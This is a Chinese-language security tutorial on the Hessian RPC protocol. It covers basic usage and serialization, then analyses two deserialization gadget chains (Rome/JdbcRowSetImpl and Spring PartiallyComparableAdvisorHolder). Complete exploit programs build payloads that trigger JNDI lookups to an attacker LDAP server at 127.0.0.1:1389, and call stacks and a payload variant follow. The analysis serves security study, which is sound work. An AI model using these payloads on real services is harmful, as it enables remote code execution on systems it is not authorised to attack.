简介 Hessian 是一种基于二进制的轻量级网络传输协议,用于在不同的应用程序之间进行远程过程调用(RPC)。它是由 Caucho Technology 开发的,并在 Java 社区中得到广泛应用。
Hessian 的设计目标是提供一种高效、简单和可移植的远程调用协议。相比于其他文本协议如 XML-RPC 或 SOAP,Hessian 使用二进制格式进行数据序列化和网络传输,可以实现更高的性能和较小的网络传输开销。这也使得 Hessian 在低带宽或高延迟的网络环境下表现出色。
以下是 Hessian 的一些主要特点:
轻量级:Hessian 的二进制格式相对较小,占用较少的网络带宽和存储空间,适合于网络传输和数据存储。
跨语言支持:Hessian 不限于特定的编程语言,它提供了多种语言的实现,包括 Java、C#、Python、Ruby 等,因此可以在不同语言之间进行跨平台和跨语言的远程调用。
简单易用:Hessian 提供了简单的 API,使得开发者可以轻松地进行远程调用。开发者只需定义接口和数据类型,然后通过网络进行远程调用,无需手动处理数据序列化和网络传输细节。
高效性能:Hessian 使用二进制格式进行数据序列化和网络传输,相对于文本协议,它具有更高的序列化和反序列化速度,并且在网络传输过程中消耗较少的带宽和资源。
支持各种数据类型:Hessian 支持多种数据类型的序列化和传输,包括基本类型、对象、数组、集合、映射等。
安全性:Hessian 支持基于 SSL/TLS 的加密和身份验证,可以确保远程调用的安全性和数据的机密性。
在使用 Hessian 进行远程调用时,通常需要在服务端和客户端分别引入相应的 Hessian 库,并且定义接口和数据类型。然后,通过 Hessian 提供的 API 进行远程调用,将请求和响应数据进行序列化和反序列化,并通过网络进行传输。服务端接收到请求后,根据接口定义执行相应的操作,并返回结果给客户端。
总体而言,Hessian 是一种高效、简单和可移植的远程调用协议,适用于构建分布式系统和跨语言应用程序之间的通信。它在许多领域和场景中得到了广泛的应用,例如微服务架构、Web 服务、移动应用程序等。
简单使用 Servlet 方法一 创建一个Hessian服务分为以下四步: 第一:创建Java接口作为公共应用程序接口
1 2 3 4 5 6 package org.example;public interface Basic { public String SayHello () ; }
第二: 创建服务实现类
1 2 3 4 5 6 7 8 9 10 11 package org.example;import com.caucho.hessian.server.HessianServlet;public class BasicService extends HessianServlet implements Basic { public String greeting = "Hello, hessian." ; public String SayHello () { return greeting; } }
第三:在servlet引擎中配置服务(web.xml)
1 2 3 4 5 6 7 8 9 <servlet > <servlet-name > hello</servlet-name > <servlet-class > org.example.BasicService</servlet-class > </servlet > <servlet-mapping > <servlet-name > hello</servlet-name > <url-pattern > /hello</url-pattern > </servlet-mapping >
第三:使用HessianProxyFactory创建客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example;import com.caucho.hessian.client.HessianProxyFactory;public class BasicClient { public static void main (String[] args) throws Exception { String url = "http://localhost:8090/hessian_servlet_war_exploded/hello" ; HessianProxyFactory hessianProxyFactory = new HessianProxyFactory (); Basic basic = (Basic) hessianProxyFactory.create(Basic.class, url); System.out.println(basic.SayHello()); } }
客户端成功向服务端发送请求并接收到响应。 参考:http://hessian.caucho.com/#IntroductiontoHessian
方法二 服务类可以不继承HessianServlet,直接通过配置文件来设置 第一:服务类改成
1 2 3 4 5 6 7 8 9 package org.example;public class BasicService implements Basic { public String greeting = "Hello, hessian." ; public String SayHello () { return greeting; } }
第二:配置文件改成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <servlet > <servlet-name > hello</servlet-name > <servlet-class > com.caucho.hessian.server.HessianServlet</servlet-class > <init-param > <param-name > home-class</param-name > <param-value > org.example.BasicService</param-value > </init-param > <init-param > <param-name > home-api</param-name > <param-value > org.example.Basic</param-value > </init-param > </servlet > <servlet-mapping > <servlet-name > hello</servlet-name > <url-pattern > /hello</url-pattern > </servlet-mapping >
客户端同样能够成功向服务端发送请求并接收到响应 参考:http://hessian.caucho.com/doc/hessian-overview.xtp
Spring 1.创建服务接口
1 2 3 public interface MyService { String sayHello () ; }
2.实现服务接口,实现具体的业务逻辑
1 2 3 4 5 6 public class MyServiceImpl implements MyService { @Override public String sayHello () { return "Hello, Hessian!" ; } }
3.配置 Hessian 服务端:在 Spring 配置文件中配置 Hessian 服务端,将服务接口暴露为 Hessian 服务
1 2 3 4 5 6 <bean name ="/myService" class ="org.springframework.remoting.caucho.HessianServiceExporter" > <property name ="service" ref ="myService" /> <property name ="serviceInterface" value ="com.example.MyService" /> </bean > <bean id ="myService" class ="com.example.MyServiceImpl" />
在上述配置中,org.springframework.remoting.caucho.HessianServiceExporter
是 Spring 提供的 Hessian 服务端导出器,用于将服务接口暴露为 Hessian 服务。name
属性指定了 Hessian 服务的 URL 路径,service
属性引用了实际的服务实现类,serviceInterface
属性指定了服务接口。
4.配置 Hessian 客户端:如果需要从客户端调用远程 Hessian 服务,可以配置 Hessian 客户端。在 Spring 配置文件中添加以下配置
1 2 3 4 <bean id ="myServiceProxy" class ="org.springframework.remoting.caucho.HessianProxyFactoryBean" > <property name ="serviceUrl" value ="http://localhost:8080/myService" /> <property name ="serviceInterface" value ="com.example.MyService" /> </bean >
在上述配置中,org.springframework.remoting.caucho.HessianProxyFactoryBean
是 Spring 提供的 Hessian 客户端代理工厂,用于创建远程服务的代理对象。serviceUrl
属性指定了远程 Hessian 服务的 URL,serviceInterface
属性指定了服务接口
5.使用服务
1 2 3 4 5 6 7 @Autowired private MyService myServiceProxy;public void doSomething () { String result = myServiceProxy.sayHello(); System.out.println(result); }
在上述代码中,通过注入 MyService
接口的代理对象 myServiceProxy
,可以直接调用远程服务的方法。
序列化与反序列化 Hessian2序列化和反序列化过程中的关键类:
com.caucho.hessian.io.Hessian2Output
和 com.caucho.hessian.io.Hessian2Input
:这两个类分别用于将对象序列化为 Hessian2 格式的二进制数据(输出)和将二进制数据反序列化为对象(输入)。它们是 Hessian2 序列化和反序列化的核心类。
com.caucho.hessian.io.SerializerFactory
:与 Hessian1 类似,SerializerFactory
也是 Hessian2 的序列化工厂。它负责管理和创建序列化器(Serializer)。不同于 Hessian1,Hessian2 的序列化器实现更加灵活,可以通过配置文件或自定义方式进行扩展和定制。
com.caucho.hessian.io.Serializer
:这是一个抽象类,定义了 Hessian2 序列化和反序列化的方法。具体的对象类型都有对应的实现类,如 com.caucho.hessian.io.StringValueSerializer
用于序列化和反序列化字符串类型的对象。
com.caucho.hessian.io.AbstractHessianOutput
和 com.caucho.hessian.io.AbstractHessianInput
:这两个抽象类是 Hessian2Output
和 Hessian2Input
的基类,提供了一些公共的方法和功能,如处理引用、处理异常等。
com.caucho.hessian.io.HessianProtocolException
:这个异常类用于表示在 Hessian2 协议中发生的错误。在反序列化过程中,如果遇到无法解析的数据或格式不正确的数据,就会抛出该异常。
com.caucho.hessian.io.JavaSerializer
:这个类用于序列化和反序列化 Java 对象。它是 Hessian2 默认的 Java 对象序列化器。
准备类:该类继承了Serializable接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;import java.io.Serializable;public class Student implements Serializable { public String name; public int age; public Student (String name, int age) { this .name = name; this .age = age; } @Override public String toString () { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}' ; } }
序列化 :使用Hessian2Output的writeObject方法将对象序列化为二进制数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import com.caucho.hessian.io.Hessian2Output;import java.io.ByteArrayOutputStream;import java.io.IOException;public class SerializeTest { public static void main (String[] args) throws IOException { Student stu = new Student ("aaa" , 18 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (byteArrayOutputStream); hessian2Output.writeObject(stu); hessian2Output.close(); System.out.print(byteArrayOutputStream.toString()); } }
反序列化 :使用Hessian2Input的readObject方法将二进制数据反序列化为对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;public class UnSerializeTest { public static void main (String[] args) throws IOException { Student student = new Student ("lucy" , 23 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (byteArrayOutputStream); hessian2Output.writeObject(student); hessian2Output.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input (byteArrayInputStream); Object student1 = hessian2Input.readObject(); System.out.println(student1.toString()); } }
利用链 Rome利用链 利用链 1 2 3 4 5 6 7 8 9 JdbcRowSetImpl.getDatabaseMetaData() ToStringBean.toString() (com.sun.syndication.feed.impl) EqualsBean.beanHashCode() (com.sun.syndication.feed.impl) ObjectBean.hashCode() HashMap.hash() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package org.dili.hessian;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import java.io.FileInputStream;import java.io.FileOutputStream;import java.util.HashMap;public class RomeHessian { public static void main (String[] args) throws Exception{ String url = "ldap://127.0.0.1:1389/czhupn" ; JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); ObjectBean objectBean = new ObjectBean (ToStringBean.class, toStringBean); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(objectBean, "aaaa" ); FileOutputStream fileOutputStream = new FileOutputStream ("JavaSec/out/RomeHessian.bin" ); Hessian2Output hessian2Output = new Hessian2Output (fileOutputStream); hessian2Output.writeObject(hashMap); hessian2Output.close(); FileInputStream fileInputStream = new FileInputStream ("JavaSec/out/RomeHessian.bin" ); Hessian2Input hessian2Input = new Hessian2Input (fileInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } }
函数调用栈 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 lookup:417 , InitialContext (javax.naming) connect:624 , JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004 , JdbcRowSetImpl (com.sun.rowset) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) toString:137 , ToStringBean (com.sun.syndication.feed.impl) toString:116 , ToStringBean (com.sun.syndication.feed.impl) beanHashCode:193 , EqualsBean (com.sun.syndication.feed.impl) hashCode:110 , ObjectBean (com.sun.syndication.feed.impl) hash:338 , HashMap (java.util) put:611 , HashMap (java.util) readMap:114 , MapDeserializer (com.caucho.hessian.io) readMap:538 , SerializerFactory (com.caucho.hessian.io) readObject:2110 , Hessian2Input (com.caucho.hessian.io) main:40 , RomeHessian (org.dili.hessian)
详细分析 注 :调试时只需要保持反序列化部分即可
从Hessian2Input的readObject方法开始,先解释该方法
Hessian2Input类的readObject()方法是Hessian协议中用于反序列化二进制数据的核心方法。它的作用是将二进制数据流转换为对应的Java对象。
详细过程:
读取类型标识符:readObject()方法首先从输入流中读取类型标识符。该标识符用于确定接下来要反序列化的对象的类型。
创建对象:根据类型标识符,Hessian2Input会创建对应的Java对象。它使用Java的反射机制,在运行时动态地创建对象实例。
读取对象字段:一旦对象被创建,Hessian2Input会读取对象的字段信息,包括字段名和字段值。它会递归地读取对象的所有字段,直到读取完所有字段或遇到引用(reference)。
处理引用:在读取字段过程中,如果遇到引用(reference),Hessian2Input会返回之前已经读取过的对象,而不是重新创建新的对象。这样可以确保对象的引用关系在反序列化后得到正确的恢复。
返回对象:当所有字段都被读取完毕,Hessian2Input会返回反序列化后的Java对象。
进入该方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public Object readObject () throws IOException{ int tag = _offset < _length ? (_buffer[_offset++] & 0xff ) : read(); switch (tag) { case 'N' : return null ; case 'T' : return Boolean.valueOf(true ); case 'F' : return Boolean.valueOf(false ); case 'H' : { return findSerializerFactory().readMap(this , null ); } default : if (tag < 0 ) throw new EOFException ("readObject: unexpected end of file" ); else throw error("readObject: unknown code " + codeName(tag)); } }
执行第一条语句
tag为72,对应字符H,进入case ‘H’
1 2 3 4 case 'H' :{ return findSerializerFactory().readMap(this , null ); }
先进入findSerializerFactory方法,该方法用于查找适当的序列化工厂(SerializerFactory)对象
1 2 3 4 5 6 7 8 9 10 11 12 13 protected final SerializerFactory findSerializerFactory () { SerializerFactory factory = _serializerFactory; if (factory == null ) { factory = SerializerFactory.createDefault(); _defaultSerializerFactory = factory; _serializerFactory = factory; } return factory; }
返回至case部分,由于findSerializerFactory()返回的是SerializerFactory对象,所以来到SerializerFactory类的readMap方法,它根据给定的类型字符串(type)获取相应的反序列化器,并使用该反序列化器来读取和解析输入流中的Map数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object readMap (AbstractHessianInput in, String type) throws HessianProtocolException, IOException { Deserializer deserializer = getDeserializer(type); if (deserializer != null ) return deserializer.readMap(in); else if (_hashMapDeserializer != null ) return _hashMapDeserializer.readMap(in); else { _hashMapDeserializer = new MapDeserializer (HashMap.class); return _hashMapDeserializer.readMap(in); } }
由于是第一次解析该类型,所以会进入else中实例化一个MapDeserializer对象,该对象用于读取数据,进入MapDeserializer的readMap方法,该方法用于读取和解析Hessian协议中的Map类型数据,并根据指定的类型创建相应的Map对象。然后,循环读取键值对,并将其添加到Map对象中,最后返回解析后的Map对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public Object readMap (AbstractHessianInput in) throws IOException{ Map map; if (_type == null ) map = new HashMap (); else if (_type.equals(Map.class)) map = new HashMap (); else if (_type.equals(SortedMap.class)) map = new TreeMap (); else { try { map = (Map) _ctor.newInstance(); } catch (Exception e) { throw new IOExceptionWrapper (e); } } in.addRef(map); while (! in.isEnd()) { map.put(in.readObject(), in.readObject()); } in.readEnd(); return map; }
根据上一步得到的_type和_ctor可以得到这里进入else,并实例化hashmap对象,来到while循环中
进入第一个in.readObject :
又来到Hessian2Input的readObject方法
67对应字符’C’,即对象引用
1 2 3 4 5 case 'C' :{ readObjectDefinition(null ); return readObject(); }
继续进入readObject方法
进入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 case 0x60 : case 0x61 : case 0x62 : case 0x63 :case 0x64 : case 0x65 : case 0x66 : case 0x67 :case 0x68 : case 0x69 : case 0x6a : case 0x6b :case 0x6c : case 0x6d : case 0x6e : case 0x6f :{ int ref = tag - 0x60 ; if (_classDefs.size() <= ref) throw error("No classes defined at reference '" + Integer.toHexString(tag) + "'" ); ObjectDefinition def = _classDefs.get(ref); return readObjectInstance(null , def); }
该代码片段表示当遇到特定范围的标记时,首先计算引用的索引值,然后根据索引值从类定义表中获取对象定义信息,最后读取和解析一个对象实例,并返回解析后的对象。
执行完这里后就向上返回到了MapDeserializer的readMap方法,这里第一个readObject得到的应该是EXP中的构造的hashMap的键ObjectBean对象
进入第二个in.readObject :
进入下面case
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 case 0x00 : case 0x01 : case 0x02 : case 0x03 :case 0x04 : case 0x05 : case 0x06 : case 0x07 :case 0x08 : case 0x09 : case 0x0a : case 0x0b :case 0x0c : case 0x0d : case 0x0e : case 0x0f :case 0x10 : case 0x11 : case 0x12 : case 0x13 :case 0x14 : case 0x15 : case 0x16 : case 0x17 :case 0x18 : case 0x19 : case 0x1a : case 0x1b :case 0x1c : case 0x1d : case 0x1e : case 0x1f :{ _isLastChunk = true ; _chunkLength = tag - 0x00 ; int data; _sbuf.setLength(0 ); parseString(_sbuf); return _sbuf.toString(); }
很明显得到的是map的值aaaa,第二个readObject得到的是EXP中构造的hashMap中的值aaaa
map.put :
回到MapDeserializer的readMap方法,进行map put操作
接下来就是Rome链和JdbcRowSetImpl链了,其实这里不仅仅可以是Rome和JdbcRowSetImpl,只要通过HashMap的hash方法触发的链都可以运用
Spring PartiallyComparableAdvisorHolder链 利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 SimpleJndiBeanFactory.doGetType() (org.springframework.jndi.support) SimpleJndiBeanFactory.getType() (org.springframework.jndi.support) BeanFactoryAspectInstanceFactory.getOrder() (org.springframework.aop.aspectj.annotation) AbstractAspectJAdvice.getOrder (org.springframework.aop.aspectj) AspectJPointcutAdvisor.getOrder() (org.springframework.aop.aspectj) AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString() (org.springframework.aop.aspectj.autoproxy) XString.equals() (com.sun.org.apache.xpath.internal.objects) HotSwappableTargetSource.equals() (org.springframework.aop.target) HashMap.putVal() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 package org.dili.hessian;import com.caucho.hessian.io.*;import com.sun.org.apache.xpath.internal.objects.XString;import org.apache.commons.logging.impl.NoOpLog;import org.springframework.aop.aspectj.AbstractAspectJAdvice;import org.springframework.aop.aspectj.AspectInstanceFactory;import org.springframework.aop.aspectj.AspectJAroundAdvice;import org.springframework.aop.aspectj.AspectJPointcutAdvisor;import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;import org.springframework.aop.target.HotSwappableTargetSource;import org.springframework.jndi.support.SimpleJndiBeanFactory;import sun.reflect.ReflectionFactory;import java.io.FileInputStream;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.HashSet;public class PartiallyComparableAdvisorHolderHessian { public static void main (String[] args) throws Exception { String url = "ldap://127.0.0.1:1389/rtj7ss" ; SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory (); AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setFiled(beanFactoryAspectInstanceFactory, "beanFactory" , simpleJndiBeanFactory); setFiled(beanFactoryAspectInstanceFactory, "name" , url); AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class); setFiled(aspectJAroundAdvice, "aspectInstanceFactory" , beanFactoryAspectInstanceFactory); AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class); setFiled(aspectJPointcutAdvisor, "advice" , aspectJAroundAdvice); String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder" ; Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder); Object partially = createWithoutConstructor(aClass); setFiled(partially, "advisor" , aspectJPointcutAdvisor); HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource (partially); HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource (new XString ("aaa" )); HashMap hashMap = new HashMap (); hashMap.put(targetSource1, "111" ); hashMap.put(targetSource2, "222" ); FileOutputStream fileOutputStream = new FileOutputStream ("JavaSec/out/PartiallyComparableAdvisorHolderHessian.bin" ); Hessian2Output hessian2Output = new Hessian2Output (fileOutputStream); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(hashMap); hessian2Output.close(); FileInputStream fileInputStream = new FileInputStream ("JavaSec/out/PartiallyComparableAdvisorHolderHessian.bin" ); Hessian2Input hessian2Input = new Hessian2Input (fileInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } public static void setFiled (Object o, String fieldname, Object value) throws Exception { Field field = getField(o.getClass(), fieldname); field.setAccessible(true ); field.set(o, value); } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } }
函数调用栈 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 lookup:417 , InitialContext (javax.naming) doInContext:155 , JndiTemplate$1 (org.springframework.jndi) execute:87 , JndiTemplate (org.springframework.jndi) lookup:152 , JndiTemplate (org.springframework.jndi) lookup:179 , JndiTemplate (org.springframework.jndi) lookup:95 , JndiLocatorSupport (org.springframework.jndi) doGetType:228 , SimpleJndiBeanFactory (org.springframework.jndi.support) getType:184 , SimpleJndiBeanFactory (org.springframework.jndi.support) getOrder:136 , BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation) getOrder:223 , AbstractAspectJAdvice (org.springframework.aop.aspectj) getOrder:81 , AspectJPointcutAdvisor (org.springframework.aop.aspectj) toString:151 , AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy) equals:392 , XString (com.sun.org.apache.xpath.internal.objects) equals:104 , HotSwappableTargetSource (org.springframework.aop.target) putVal:634 , HashMap (java.util) put:611 , HashMap (java.util) readMap:114 , MapDeserializer (com.caucho.hessian.io) readMap:538 , SerializerFactory (com.caucho.hessian.io) readObject:2110 , Hessian2Input (com.caucho.hessian.io) main:79 , PartiallyComparableAdvisorHolderHessian (org.dili.hessian)
详细分析 第一步
还是从Hessian2Input类的readObject方法开始,开始tag为72,Map对象,进入对应的case处理;根据findSerializerFactory()方法找到SerializerFactory类,调用其readMap方法
进入SerializerFactory的readMap方法
进入MapDeserializer的readMap方法,会来到while循环
1 2 3 while (! in.isEnd()) { map.put(in.readObject(), in.readObject()); }
执行完一轮后的结果,将第一个元素写入map中
接着第二轮put操作中
第二步
进入putVal方法,在HashMap中的putVal的方法中,会将put元素的键与map中已有元素的键进行对比,即equals操作
这里的key为exp中第二次put的键,k为exp中第一次put的键
第三步
进入HotSwappableTargetSource的equals方法中
1 2 3 public boolean equals (Object other) { return this == other || other instanceof HotSwappableTargetSource && this .target.equals(((HotSwappableTargetSource)other).target); }
调用target参数中的equals方法,这就是在exp中设置target属性的原因
第四步
调用者为XString对象,调用其equals方法,这样设置的目的在于该equals方法中,调用toString方法
这样就将链的执行流交给了map中put的第一个元素里面的嵌套对象,即AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder
第五步
进入该静态类的toString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public String toString () { StringBuilder sb = new StringBuilder (); Advice advice = this .advisor.getAdvice(); sb.append(ClassUtils.getShortName(advice.getClass())); sb.append(": " ); if (this .advisor instanceof Ordered) { sb.append("order " ).append(((Ordered)this .advisor).getOrder()).append(", " ); } if (advice instanceof AbstractAspectJAdvice) { AbstractAspectJAdvice ajAdvice = (AbstractAspectJAdvice)advice; sb.append(ajAdvice.getAspectName()); sb.append(", declaration order " ); sb.append(ajAdvice.getDeclarationOrder()); } return sb.toString(); }
这里利用的就是getOrder方法,因此需要设置advisor属性的值,根据链构造,要将其设置为AspectJPointcutAdvisor对象
注:这里选择的对象既要有getOrder方法维持后续的链,也要是Ordered接口的实例,正好AspectJPointcutAdvisor是Ordered接口的子类
第六步
进入AspectJPointcutAdvisor对象的getOrder方法
1 2 3 4 5 6 7 8 9 10 @Override public int getOrder () { if (this .order != null ) { return this .order; } else { return this .advice.getOrder(); } }
还是利用getOrder方法,这里需要设置advice属性,根据链构造,需要将其设置成AspectJAroundAdvice对象,同时需要满足order属性为空
第七步
进入AspectJAroundAdvice对象的getOrder方法
1 2 3 4 @Override public int getOrder () { return this .aspectInstanceFactory.getOrder(); }
接着利用getOrder方法,需要设置aspectInstanceFactory属性,这里将其设置为BeanFactoryAspectInstanceFactory对象
第八步
进入该对象的getOrder方法
1 2 3 4 5 6 7 8 9 10 11 12 @Override public int getOrder () { Class<?> type = this .beanFactory.getType(this .name); if (type != null ) { if (Ordered.class.isAssignableFrom(type) && this .beanFactory.isSingleton(this .name)) { return ((Ordered) this .beanFactory.getBean(this .name)).getOrder(); } return OrderUtils.getOrder(type, Ordered.LOWEST_PRECEDENCE); } return Ordered.LOWEST_PRECEDENCE; }
这里需要利用的是getType方法,但是需要设置beanFactory和name两个属性,根据后面链利用,将beanFactory设置为SimpleJndiBeanFactory对象,name设置为ldap url
第九步
进入SimpleJndiBeanFactory的getType方法
1 2 3 4 5 6 7 8 9 10 public Class<?> getType(String name) throws NoSuchBeanDefinitionException { try { return this .doGetType(name); } catch (NameNotFoundException var3) { throw new NoSuchBeanDefinitionException (name, "not found in JNDI environment" ); } catch (NamingException var4) { return null ; } }
没有条件限制,查看其doGetType方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private Class<?> doGetType(String name) throws NamingException { if (this .isSingleton(name)) { Object jndiObject = this .doGetSingleton(name, (Class)null ); return jndiObject != null ? jndiObject.getClass() : null ; } else { synchronized (this .resourceTypes) { if (this .resourceTypes.containsKey(name)) { return (Class)this .resourceTypes.get(name); } else { Object jndiObject = this .lookup(name, (Class)null ); Class<?> type = jndiObject != null ? jndiObject.getClass() : null ; this .resourceTypes.put(name, type); return type; } } } }
要到达利用点,需要满足两个条件:
this.isSingleton(name)为false
1 2 3 public boolean isSingleton (String name) throws NoSuchBeanDefinitionException { return this .shareableResources.contains(name); }
shareableResources属性中不包含ldap url
this.resourceTypes.containsKey(name)为false,而resourceTypes属性中也不包含ldap url
来到父类JndiLocatorSupport的lookup方法,关键代码如下:
1 jndiObject = this .getJndiTemplate().lookup(convertedName, requiredType);
先观察getJndiTemplate方法,需要进入到JndiLocatorSupport的父类JndiAccessor类
1 2 3 public JndiTemplate getJndiTemplate () { return this .jndiTemplate; }
在构造方法中会将其初始化为JndiTemplate对象,回到JndiLocatorSupport的lookup方法,getJndiTemplate返回的是一个JndiTemplate对象,调用其lookup方法
1 2 3 4 5 6 7 8 public <T> T lookup (String name, Class<T> requiredType) throws NamingException { Object jndiObject = this .lookup(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { throw new TypeMismatchNamingException (name, requiredType, jndiObject != null ? jndiObject.getClass() : null ); } else { return jndiObject; } }
进入重载方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public Object lookup (final String name) throws NamingException { if (this .logger.isDebugEnabled()) { this .logger.debug("Looking up JNDI object with name [" + name + "]" ); } return this .execute(new JndiCallback <Object>() { public Object doInContext (Context ctx) throws NamingException { Object located = ctx.lookup(name); if (located == null ) { throw new NameNotFoundException ("JNDI object with [" + name + "] not found: JNDI implementation returned null" ); } else { return located; } } }); }
这段代码的作用是在JNDI中查找指定名称的对象。它通过执行一个JndiCallback
对象的doInContext()
方法,在JNDI上下文中调用lookup()
方法查找对象,并根据查找结果进行处理。如果找到对象,就返回该对象;如果找不到对象,就抛出异常。
接下来就是LDAP lookup解析的过程
其他
其实完全可以将HotSwappableTargetSource去掉,毕竟XString中equals方法,不需要使用它来过度
在SimpleJndiBeanFactory的doGetType方法中,如果this.isSingleton(name)条件满足,会调用doGetSingleton方法,该方法中也有利用点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private <T> T doGetSingleton (String name, Class<T> requiredType) throws NamingException { synchronized (this .singletonObjects) { Object jndiObject; if (this .singletonObjects.containsKey(name)) { jndiObject = this .singletonObjects.get(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { throw new TypeMismatchNamingException (this .convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null ); } else { return jndiObject; } } else { jndiObject = this .lookup(name, requiredType); this .singletonObjects.put(name, jndiObject); return jndiObject; } } }
后面部分也是一致的,只需要在exp中加入
1 2 3 HashSet<String> set = new HashSet <>(); set.add(url); setFiled(simpleJndiBeanFactory, "shareableResources" , set);
调用栈:
